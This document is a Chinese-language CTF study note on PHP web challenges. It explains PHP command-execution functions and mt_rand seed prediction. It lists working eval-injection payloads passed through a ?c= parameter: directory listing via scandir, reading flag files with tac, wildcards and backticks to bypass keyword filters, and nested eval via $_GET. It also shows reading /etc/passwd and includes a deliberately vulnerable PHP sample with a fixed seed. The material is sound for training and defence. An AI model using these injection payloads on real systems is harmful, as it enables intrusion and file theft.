x. 函数
cat与tac都是linux的命令,但是很多时候会过滤cat但是配置者不知道还有tac这个命令,遂推荐用tac
# 获取当前目录
echo getcwd();
# 命令执行如果不直接输出即使命令里面带有cat也是不行的,他只是收集到了结果,不是输出内容,例如 echo shell_exec("cat /etc/hosts");
# ( 是否直接输出 ) ( 返回值 )
system("tac flag.php"); 会 最后一行
passthru("cat /etc/passwd"); 会 无
shell_exec("ls"); 不会 完整字符串
exec("ls"); 不会 最后一行x. 拓展部分
x.x 命令执行 eval
核心思路是先利用 scandir(".") 扫描当前目录获取文件数组,不过返回结果前两项固定是 . 与 .. 分别代表当前目录和上一级目录,因此真正的文件通常从下标 2 开始。很多经典 CTF payload 会配合 array_reverse() 将数组翻转,把 . 与 .. 放到末尾,再利用 next()、current() 等数组指针函数获取目标文件;而在现代 PHP 环境下,其实也可以直接从 [2] 开始逐个尝试读取文件,很多时候就能直接看到 flag、源码或配置文件。
无过滤
# 高亮显示文件
?c=highlight_file(next(array_reverse(scandir("."))));
?c=highlight_file(current(array_reverse(scandir("."))));
?c=highlight_file(array_reverse(scandir("."))[1]);
?c=highlight_file(scandir(".")[2]);
# 结合命令执行,通常可能会识别关键词flag没法传入,可以用通配符来识别
?c=system("tac fl*.php");
# 也可以用cp命令复制源码为1.txt可直接访问
?c=system("cp fl*.php 1.txt");过滤 flag system php
# 先/?c=passthru("ls");一下,可以先看看当前目录下有那些文件
?c=passthru("tac fla*");
# 先用 nl 给文件内容加上行号,再用 tac 倒序输出,这样即使内容被翻转,也能知道原本对应的是第几行。
?c=echo shell_exec("nl fla*|tac");
# 利用 PHP 反引号执行 Linux 命令,通过通配符 *任意个字符 与 ?一个字符 绕过 flag/php 过滤,使用 cat 读取目标文件后再通过 tail 输出文件尾部内容。
?c=echo `cat fl*ag.p?p|tail`;
?c=eval($_GET["code"]);&code=system("tac flag.php");x.x 伪随机数
mt_rand() 属于伪随机数函数,其结果并不是真正随机,而是基于“随机种子”通过固定算法计算得到;当开发者手动使用 mt_srand(固定值) 初始化种子时,后续生成的随机数序列会完全固定,例如第一次、第二次、第三次 mt_rand() 的结果永远一致,因此攻击者只需知道种子即可精准预测随机数,而不是盲目爆破;如果不手动指定种子,PHP 会自动根据时间、系统熵等信息初始化随机种子,所以每次运行程序时生成的随机数通常都会不同。
结论是不要用 mt_rand() 做任何安全相关的事,应改用 PHP random_int 官方文档 或 PHP random_bytes 官方文档;其中 random_int() 适合生成安全验证码、Token、随机ID,random_bytes() 适合生成高强度随机字节流或加密材料。
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
评论